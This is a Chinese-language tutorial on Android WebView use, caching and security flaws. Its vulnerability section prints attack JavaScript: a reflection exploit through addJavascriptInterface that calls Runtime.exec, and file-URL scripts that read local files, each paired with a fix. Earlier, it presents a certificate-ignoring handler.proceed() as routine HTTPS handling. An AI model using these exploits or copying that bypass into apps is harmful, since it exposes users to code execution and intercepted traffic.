前言
現在很多App裡都内置了Web網頁(Hybrid App),比如說很多電商平台,淘寶、京東、聚劃算等等。那麼這種該如何實作呢?其實這是Android裡一個叫WebView元件實作。下面将圍繞着這點進行詳細的整理說明。
簡介
android控件中的WebView,一個基于webkit引擎、展現web頁面的控件
- Android 4.4前:Android Webview在低版本 & 高版本采用了不同的webkit版本的核心
- Android 4.4後:直接使用了Chrome核心
作用
- 在 Android 用戶端上加載h5頁面
- 在本地 與 h5頁面實作互動 & 調用
- 其他:對 url 請求、頁面加載、渲染、對話框 進行額外處理。
具體使用
- 涉及到的類:
- Webview類:
- 建立對象,加載URL,生命周期管理,狀态管理
- loadUrl(),goBack()等
- WebSettings類
- 配置 & 管理WebView
- 緩存:setCacheMode()
- 與js互動:setJavascriptEnable()
- WebViewClient類
- 處理各種通知 & 請求事件
- shouldOverrideUrlLoading():打開網頁在webview顯示
- onPageStarted():載入頁面時
- onPageFinished():頁面加載結束時
- onLoadResource():在加載頁面資源時會調用,每一個資源(比如圖檔)的加載都會調用一次。
- onReceivedError():加載頁面的伺服器出現錯誤時(如404)調用。
- onReceivedSslError(): 處理https請求,webView預設是不處理https請求的,頁面顯示空白,需要進行如下設定:
webView.setWebViewClient(new WebViewClient() { @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { handler.proceed(); //表示等待證書響應 // handler.cancel(); //表示挂起連接配接,為預設方式 // handler.handleMessage(null); //可做其他處理 } }); // 特别注意:5.1以上預設禁止了https和http混用,以下方式是開啟 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { mWebView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); }
- WebChromeClient類
- 輔助WebView處理js對話框,網站title,網站icon等
- onProgressChanged()
- onReceivedTitle()
- onJsAlert() 無傳回值 知道了
- onJsConfirm() 傳回值 true:确認,false:取消
- onJsPrompt():輸入框,确認:傳回輸入框的内容,取消:傳回null
- Webview類:
Native與JS互動
- 互動方式:橋梁WebView
- android調用js代碼
- 方式一 通過webview的loadUrl()
- 該方式會引起頁面重新整理
- 指定url:http:www.baidu.com
- 指定資源檔案: file:///android_assets/filename.file
- loadUrl(“javascripr:functionname()”)
- 方式二:通過webView的evaluateJavaScript()
- 該方式不會引起頁面重新整理,并且在android4.4之後才可使用
- 向下相容差
- 方式一 通過webview的loadUrl()
- js去調用android的代碼
- 方式一:通過webView的addJavaScriptInterface()進行對象映射
- 這種方式存在嚴重的漏洞問題
- 方式二:通過WebViewClient的shouldOverrideUrlLoading()回調攔截url
- 具體原理:第一步,webview通過webviewclient的回調方法shouldOverrideUrlLoading()攔截url,第二步,解析該url的協定;第三步,如果檢測到内部約定好的協定,則執行業務流程代碼(即js調用android native代碼)
- 優點: 不存在方式1的漏洞
- 缺點:js擷取android方法的傳回值複雜。如果js想要得到android方法的傳回值,隻能通過webview的loadUrl()去執行js方法把傳回值傳遞回去
// Android:MainActivity.java mWebView.loadUrl("javascript:returnResult(" + result + ")"); // JS:javascript.html function returnResult(result){ alert("result is" + result); }
- 方式三:通過WebChromeClient的onJsAlert()onJsConfirm()onJsPrompt()方法攔截js對話框資訊
- 常用的攔截是:onJsPrompt()方法,
- 因為該方法可以傳回任意類型的值;操作簡便;不存在漏洞;
- 方式一:通過webView的addJavaScriptInterface()進行對象映射
- android調用js代碼
如何避免webview記憶體洩漏
- 不在xml中定義webview,而是在需要的時候再activity中建立,并且使用application context;
- 在activity銷毀的時候,先讓webview加載null内容,然後移除webview,再銷毀webview,最後置空
@Override
protected void onDestroy() {
if (mWebView != null) {
mWebView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
mWebView.clearHistory();
((ViewGroup) mWebView.getParent()).removeView(mWebView);
mWebView.destroy();
mWebView = null;
}
super.onDestroy();
}
建構全面的webview緩存機制 & 資源加載方案
因為在移動端webview存在較為明顯的性能問題,特别突出的是:加載速度慢,流量消耗大。那麼有麼有解決的方案呢?如下:
- 存在哪些性能問題?
- H5頁面加載速度慢
- 渲染速度
- js解析效率:js本身解析過程複雜,解析速度不快。并且頁面内涉及較多的js檔案,是以疊加起來使得總的js解析效率低
- 手機硬體性能:android機型碎片化,導緻手機性能參差不齊。
- 資源加載慢:H5頁面需要從服務端下載下傳,并存儲在手機記憶體中
- h5頁面資源多:
- 網絡請求數量多:每加載一個html頁面,都有url自身的請求,以及頁面中對外部資源的引用也是一個個獨立的http請求;每個請求都是串行
- 渲染速度
- 耗費流量:
- 每次使用h5頁面時, 使用者都需要重新加載頁面
- 每次加載一個h5頁面,都會産生較多的網絡請求
- 每個請求都是串行的,這麼多串行導緻流量消耗大
- H5頁面加載速度慢
- 針對問題,有哪些解決方案:
- h5自帶的緩存方案(也是WebView自帶緩存機制):
- h5頁面加載後會存儲在緩存區域 /data/data/包名/cache 以及 database 其中請求的url記錄儲存在WebViewCache.db 而URL的内容是儲存在WebViewcache檔案夾下
- android webview 目前除了新的File System緩存機制還不支援,其他都支援
- 作用:
- 離線浏覽
- 提高頁面加載速度,以及減少流量消耗
- 應用:此處主要講解前端H5的緩存機制(或者緩存模式)
- 緩存機制:如何将加載過的網頁資料儲存到本地(儲存)
- 浏覽器 緩存機制
- 特點:
- 支援HTTP協定層
- 緩存檔案需要首次加載後才會産生;
- 浏覽器緩存的存儲空間有限;
- 緩存有被清除的可能;
- 緩存的檔案沒有校驗
- 根據Http協定頭裡的Cache-Control , Expires,Last-Modified,ETag等字段來控制檔案緩存的機制
- Cache-Control:用于控制檔案在本地緩存有效時長,伺服器回包:Cache-Control:max-age=600,則表示檔案在本地應該緩存,且有效時長是600秒(從送出請求算起)。在接下來600秒内,如果有請求這個資源,浏覽器不會發出 HTTP 請求,而是直接使用本地緩存的檔案。
- Expires:與Cache-Control功能相同,即控制緩存的有效時間
- Expires是HTTP1.0标準中的字段,Cache-Control是HTTP1.1标準中新加的字段
- 當兩個字段同時出現時,Cache-Control優先級較高
- Last-Modified:辨別檔案在伺服器上的最新更新時間。
- 下次請求時,如果檔案緩存過期,浏覽器通過 If-Modified-Since 字段帶上這個時間,發送給伺服器,由伺服器比較時間戳來判斷檔案是否有修改。如果沒有修改,伺服器傳回304告訴浏覽器繼續使用緩存;如果有修改,則傳回200,同時傳回最新的檔案。
- Etag:功能同Last-Modified,即辨別檔案在伺服器上的最新更新時間
- 不同的是,Etag的取值是一個對檔案進行辨別的特征字串。
- 在向伺服器查詢檔案是否有更新時,浏覽器通過If-None-Match 字段把特征字串發送給伺服器,由伺服器和檔案最新特征字串進行比對,來判斷檔案是否有更新:沒有更新回包304,有更新回包200
- Etag 和 Last-Modified 可根據需求使用一個或兩個同時使用。兩個同時使用時,隻要滿足基中一個條件,就認為檔案沒有更新。
- 常見用法是:
- Cache-Control與 Last-Modified 一起使用;控制緩存有效時間
- Expires與 Etag一起使用;緩存失效後,向伺服器查詢是否有更新
- 應用場景:
- 靜态資源檔案的存儲,如js,css,字型,圖檔等,存放在/data/data/包名/…
- 具體實作:
- webview内置自動實作,即不需要設定
- android 4.4後的webview浏覽器核心chrome
- 浏覽器緩存機制是浏覽器核心的機制,一般都是标準的實作
- webview内置自動實作,即不需要設定
- 特點:
- Application cache緩存機制
- 原理:
- 以檔案為機關進行緩存,且檔案有一定的更新機制
- AppCache原理有兩個關鍵點:manifest屬性以及manifest檔案
<!DOCTYPE html> <html manifest="demo_html.appcache"> // HTML 在頭中通過 manifest 屬性引用 manifest 檔案 // manifest 檔案:就是上面以 appcache 結尾的檔案,是一個普通檔案檔案,列出了需要緩存的檔案 // 浏覽器在首次加載 HTML 檔案時,會解析 manifest 屬性,并讀取 manifest 檔案,擷取 Section:CACHE MANIFEST 下要緩存的檔案清單,再對檔案緩存 <body> ... </body> </html> // 原理說明如下: // AppCache 在首次加載生成後,也有更新機制。被緩存的檔案如果要更新,需要更新 manifest 檔案 // 因為浏覽器在下次加載時,除了會預設使用緩存外,還會在背景檢查 manifest 檔案有沒有修改(byte by byte) 發現有修改,就會重新擷取 manifest 檔案,對 Section:CACHE MANIFEST 下檔案清單檢查更新 // manifest 檔案與緩存檔案的檢查更新也遵守浏覽器緩存機制 // 如使用者手動清了 AppCache 緩存,下次加載時,浏覽器會重新生成緩存,也可算是一種緩存的更新 // AppCache 的緩存檔案,與浏覽器的緩存檔案分開存儲的,因為 AppCache 在本地有 5MB(分 HOST)的空間限制
- 特點: 友善建構web app的緩存
- 應用場景:存儲靜态檔案(js,css,字型檔案)
- 應用場景同浏覽器緩存機制
- 但appcache是對浏覽器緩存機制的補充,不是替代
- 具體實作
// 通過設定WebView的settings來實作 WebSettings settings = getSettings(); String cacheDirPath = context.getFilesDir().getAbsolutePath()+"cache/"; settings.setAppCachePath(cacheDirPath); // 1. 設定緩存路徑 settings.setAppCacheMaxSize(20*1024*1024); // 2. 設定緩存大小 settings.setAppCacheEnabled(true); // 3. 開啟Application Cache存儲機制 // 特别注意 // 每個 Application 隻調用一次 WebSettings.setAppCachePath() 和WebSettings.setAppCacheMaxSize()
- 原理:
- DOM Storage緩存機制
- 原理:
- 通過存儲字元串的key-value來提供
- Dom storage分為session storage和local storage
- session storage:具備臨時性,即存儲與頁面相關的資料,它在頁面關閉後無法使用
- local storage:具備持久性,即儲存的資料在頁面關閉後也可以使用
- 特點
- 存儲空間大(5MB):存儲空間對于不同浏覽器不同,如cookie才4kb
- 存儲安全,便捷:DOM storage存儲的資料在本地,不需要經常和伺服器進行互動
- 不像cookie每次請求一次頁面,都會向伺服器發送網絡請求
- 應用場景
- 存儲臨時,簡單的資料;
- dom storage 機制類似于android的sharedPreference機制
- 存儲臨時,簡單的資料;
- 具體實作:
- 原理:
的WebView
Settings
類實作
WebSettings settings = getSettings();
settings.setDomStorageEnabled(true); // 開啟DOM storage ```
- Web SQL Database緩存機制
- 原理:
- 基于SQL的資料庫存儲機制
- 特點:
- 充分利用資料庫的優勢,可友善對資料進行增删改查
- 應用場景:
- 存儲适合資料庫的結構化資料
- 具體實作
// 通過設定WebView的settings實作 WebSettings settings = getSettings(); String cacheDirPath = context.getFilesDir().getAbsolutePath()+"cache/"; settings.setDatabasePath(cacheDirPath); // 設定緩存路徑 settings.setDatabaseEnabled(true); // 開啟 資料庫存儲機制
- 特别說明:
- Web SQL Database存儲機制不再推薦使用
- 取而代之的是IndexeDB緩存機制
- 原理:
- Indexed Database緩存機制
- 原理:
- 類似NoSQL資料庫,通過存儲字元串的key-value對來提供
- 類似Dom storage 存儲機制的key-value存儲方式
- 特點:
- 功能強大,使用簡單
- 通過資料庫的事物transation機制進行資料操作
- 可對對象的任意屬性生成索引,友善查詢
- 存儲空間大:
- 較大存儲空間,預設推薦250MB(以host區分),比Dom storage的5MB要大的多
- 使用靈活:
- 以key-value的方式存儲對象,可以是任何類型值或對象,包括二進制
- 異步api調用,避免造成等待而影響體驗
- 功能強大,使用簡單
- 應用場景:
- 存儲複雜,資料量大的結構化資料
- 具體實作:
// 通過設定WebView的settings實作 WebSettings settings = getSettings(); settings.setJavaScriptEnabled(true); // 隻需設定支援JS就自動打開IndexedDB存儲機制 // Android 在4.4開始加入對 IndexedDB 的支援,隻需打開允許 JS 執行的開關就好了。
- 原理:
- File System 緩存機制(H5頁面新加入的緩存機制,雖然android webview暫時不支援,但會進行簡單介紹)
- 原理:
- 為H5頁面的資料,提供一個虛拟的檔案系統
- 可以進行檔案的建立,讀寫,删除,周遊等,就想native app通路本地檔案系統一樣
- 虛拟的檔案系統是運作在沙盒中
- 不同web app的虛拟檔案系統是互相隔離的,虛拟檔案系統與本地檔案系統也是互相隔離的
- 虛拟檔案系統提供兩種類型的存儲空間:臨時 & 持久
- 臨時:由浏覽器自動配置設定,但可能被浏覽器回收
- 持久:需要顯示申請;自己管理;
- 為H5頁面的資料,提供一個虛拟的檔案系統
- 特點:
- 可存儲資料體積較大的二進制資料
- 可預加載資源檔案
- 可直接編輯檔案
- 應用場景
- 通過檔案系統,管理資料
- 具體使用
- 由于File System是由H5新加入的緩存機制,是以android webview暫不支援
- 原理:
- 浏覽器 緩存機制
- 緩存模式:
- 定義:加載網頁時webview如何讀取之前儲存到本地的網頁緩存(讀取)。
- webview自帶緩存模式四種
- LOAD_CACHE_ONLY : 不使用網絡,隻讀取本地緩存資料
- LOAD_NO_CACHE: 不使用緩存,隻從網絡擷取資料
- LOAD_DEFAULT:預設,根據Cache-Control決定是否從網絡上擷取資料
- LOAD_CACHE_ELSE_NETWORK:隻要本地有,無論是否過期,或者no-cache,都使用緩存資料
- 緩存機制:如何将加載過的網頁資料儲存到本地(儲存)
- 資源預加載:
- 定義:提前加載将需要使用的H5頁面,即 提前建構緩存;使用時直接取過來,而不是在需要的時候才去加載
- 具體實作:
- 預加載webview對象 & 預加載H5資源
- 預加載webview對象:
- 首次使用 WebView對象
- 原因:
- 首次初始化webview會比第2次初始化慢很多
- 初始化後,及時webview已釋放,但是一些多個webview共用的全局服務/資源對象仍未釋放
- 第二次初始化時,不需要再生成,進而變快
- 實作思路:
- 應用啟動時就初始化1個全局的webview對象
- 當使用者需加載H5頁面時,則直接使用該WebView對象加載并顯示
- 具體實作:
- 在android的BaseApplication中初始化一個webView對象,放入webview對象池
- 原因:
- 後續使用Webview對象
- 原因:
- 多次建立webview對象會消耗很多時間以及資源
- 實作思路:
- 自身建構webview複用池
- 當使用者需使用webview加載H5頁面時,直接從池中擷取webview對象
- 具體實作:
- 采用2個/多個webview的複用,而不需要每次打開H5都需要重新建構
- 原因:
- 首次使用 WebView對象
- 預加載h5資源
- 原理:
- 在應用啟動,初始化第一個webview對象的時候,直接開始網絡請求加載h5頁面
- 後續需要打開這些H5頁面時就直接從該本地對象中擷取
- 事前加載常用的H5頁面資源(加載後就有緩存了)
- 此方法雖然不能減少webview初始化時間,但是資料請求和webview初始化可以并行進行,總體的頁面加載時間就縮短了;縮短總體的頁面加載時間
- 具體實作:
- 在android的BaseApplication裡初始化一個webview對象,(用于加載常用的H5頁面資源);當需要使用這些頁面時再取出來直接使用
- 應用場景:
- 對于android webview的首頁建議使用這種方案,能有效提高首頁加載的效率。
- 原理:
- 自身建構緩存
- 除了使用android webview自身的緩存機制外,還可以自己針對某一需求場景建構緩存機制。
- 背景:H5頁面有一些更新頻率低,常用&固定的靜态資源檔案,如js,css檔案,圖檔
- 沖突:每次重新加載會浪費很多資源(時間&流量)
- 解決方案:
- 通過攔截H5頁面的資源網絡請求,若資源相同,則直接從本地讀取資源,而不需要發送網絡請求到伺服器擷取
- 實作步驟:
- 提前将更新頻率低,常用&固定的H5靜态資源檔案存放到本地
- 攔截H5頁面的網絡請求,過濾相關資源的網絡請求
- 如果檢測到本地有相同資源,則讀取本地的
- h5自帶的緩存方案(也是WebView自帶緩存機制):
webview的那些漏洞
類型
- 任意代碼執行漏洞
- addJavascriptInterface()
- webview内置到處的searchBoxJavaBridge 對象
- webview内置導出的accesssibility和accessibilityTraversalObject對象
- 密碼明文存儲漏洞
- 域控制不嚴格漏洞
具體分析
- 任意代碼執行漏洞
- addJavascriptInterface()接口
- 漏洞産生原因:
webView.addJavascriptInterface(new JSObject(), "myObj"); // 參數1:Android的本地對象 // 參數2:JS的對象 // 通過對象映射将Android中的本地對象和JS中的對象進行關聯,進而實作JS調用Android的對象和方法 是以,漏洞産生的原因是:當js拿到android這個對象後,進而實作js調用android對象中所有的方法,包括系統類,進而進行任意代碼執行。如可以執行指令擷取本地裝置的sd卡中的檔案等資訊進而造成資訊洩露。
- 具體擷取系統類的描述(結合java反射機制)
- android中的對象有一公共的方法:getClass();
- 該方法可以擷取到目前類 類型Class
- 該類有一關鍵的方法:Class.forName()
- 該方法可以加載一個類(java.lang.Runtime)
- 而且該類是可以執行本地指令的
- js攻擊核心代碼
function execute(cmdArgs) { // 步驟1:周遊 window 對象 // 目的是為了找到包含 getClass ()的對象 // 因為Android映射的JS對象也在window中,是以肯定會周遊到 for (var obj in window) { if ("getClass" in window[obj]) { // 步驟2:利用反射調用forName()得到Runtime類對象 alert(obj); return window[obj].getClass().forName("java.lang.Runtime") // 步驟3:以後,就可以調用靜态方法來執行一些指令,比如通路檔案的指令 getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); // 從執行指令後傳回的輸入流中得到字元串,有很嚴重暴露隐私的危險。 // 如執行完通路檔案的指令之後,就可以得到檔案名的資訊了。 } } }
- 當一些 APP 通過掃描二維碼打開一個外部網頁時,攻擊者就可以執行這段 js 代碼進行漏洞攻擊。在微信盛行、掃一掃行為普及的情況下,該漏洞的危險性非常大
- 具體解決方案:
- 方案一:在Android 4.2 版本中規定對被調用的函數以 @JavascriptInterface進行注解進而避免漏洞攻擊
- 方案二:在Android 4.2版本之前采用攔截prompt()進行漏洞修複。
- 具體步驟:繼承WebView,重寫addJavascriptInterface()方法,然後在内部自己維護一個對象映射關系的Map;将需要添加的js接口放入該map中
- 每次當WebView加載頁面前,加載一段本地代碼的js代碼。原理是:
- 讓js調用一JavaScript方法:該方法是通過調用prompt()把js中的資訊(含有特點辨別,方法名稱,參數等)傳遞到android端;
- 在android的onJsPrompt()中,解析傳遞過來的資訊,再通過反射機制調用java對象的方法,這樣實作安全的js調用android代碼。
- 關于android傳回給js的值:可以通過prompt()把java中方法的處理結果傳回到js中
- webview内置到處的searchBoxJavaBridge_對象
- 原因:在Android 3.0以下,Android系統會預設通過searchBoxJavaBridge_的Js接口給 WebView 添加一個JS映射對象:searchBoxJavaBridge_對象。該接口可能被利用,實作遠端任意代碼。
- 解決方案:删除searchBoxJavaBridge_的js接口
// 通過調用該方法删除接口 removeJavascriptInterface();
- webview内置導出的accesssibility和accessibilityTraversalObject對象
- 同searchBoxJavaBridge_對象
- addJavascriptInterface()接口
- 密碼明文存儲漏洞
- WebView預設開啟密碼儲存功能 :mWebView.setSavePassword(true)`
- 開啟後,在使用者輸入密碼時,會彈出提示框:詢問使用者是否儲存密碼;如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險
- 解決方案:關閉密碼儲存提醒,WebSettings.setSavePassword(false)
- 域控制不嚴格漏洞
- 即 A 應用可以通過 B 應用導出的 Activity 讓 B 應用加載一個惡意的 file 協定的 url,進而可以擷取 B 應用的内部私有檔案,進而帶來資料洩露威脅。。具體:當其他應用啟動此 Activity 時, intent 中的 data 直接被當作 url 來加載(假定傳進來的 url 為 file:///data/local/tmp/attack.html ),其他 APP 通過使用顯式 ComponentName 或者其他類似方式就可以很輕松的啟動該 WebViewActivity 并加載惡意url。
- 下面我們着重分析WebView中getSettings類的方法對 WebView 安全性的影響:
- setAllowFileAccess()
使用 file 域加載的 js代碼能夠使用進行同源政策跨域通路,進而導緻隐私資訊洩露// 設定是否允許 WebView 使用 File 協定 webView.getSettings().setAllowFileAccess(true); // 預設設定為true,即允許在 File 域下執行任意 JavaScript 代碼; // 如果是false,則不會存在上述的威脅,但同時也限制了 WebView 的功能,使其不能加載本地的 html 檔案
- 同源政策跨域通路:對私有目錄檔案進行通路
- 針對IM類産品,洩漏的是聊天資訊,以及聯系人等
- 針對浏覽器類軟體,洩漏的是cookie資訊
- 解決該問題方案:則需要對不使用file協定的業務啟用,對使用file協定的禁用
// 禁止 file 協定加載 JavaScript if (url.startsWith("file://") { setJavaScriptEnabled(false); } else { setJavaScriptEnabled(true); }
- setAllowFileAccessFromFileURLs():設定是否允許通過 file url 加載的 Js代碼讀取其他的本地檔案
當AllowFileAccessFromFileURLs()設定為 true 時,攻擊者的JS代碼為: <script> function loadXMLDoc() { var arm = "file:///etc/hosts"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { console.log(xmlhttp.responseText); } } xmlhttp.open("GET",arm); xmlhttp.send(null); } loadXMLDoc(); </script> // 通過該代碼可成功讀取 /etc/hosts 的内容資料
- 解決方案:設定setAllowFileAccessFromFileURLs(false);當設定成為 false 時,上述JS的攻擊代碼執行會導緻錯誤,表示浏覽器禁止從 file url 中的 javascript 讀取其它本地檔案。
- setAllowUniversalAccessFromFileURLs(): 設定是否允許通過 file url 加載的 Javascript 可以通路其他的源(包括http、https等源)。// 在Android 4.1前預設允許(setAllowFileAccessFromFileURLs()不起作用)// 在Android 4.1後預設禁止
-
當AllowFileAccessFromFileURLs()被設定成true時,攻擊者的JS代碼是: // 通過該代碼可成功讀取 http://www.so.com 的内容 <script> function loadXMLDoc() { var arm = "http://www.so.com"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { console.log(xmlhttp.responseText); } } xmlhttp.open("GET",arm); xmlhttp.send(null); } loadXMLDoc(); </script> 解決方案:設定setAllowUniversalAccessFromFileURLs(false);
-
- setJavaScriptEnabled():設定是否允許 WebView 使用 JavaScript(預設是不允許).但很多應用(包括移動浏覽器)為了讓 WebView 執行 http 協定中的 JavaScript,都會主動設定為true,不差別對待是非常危險的。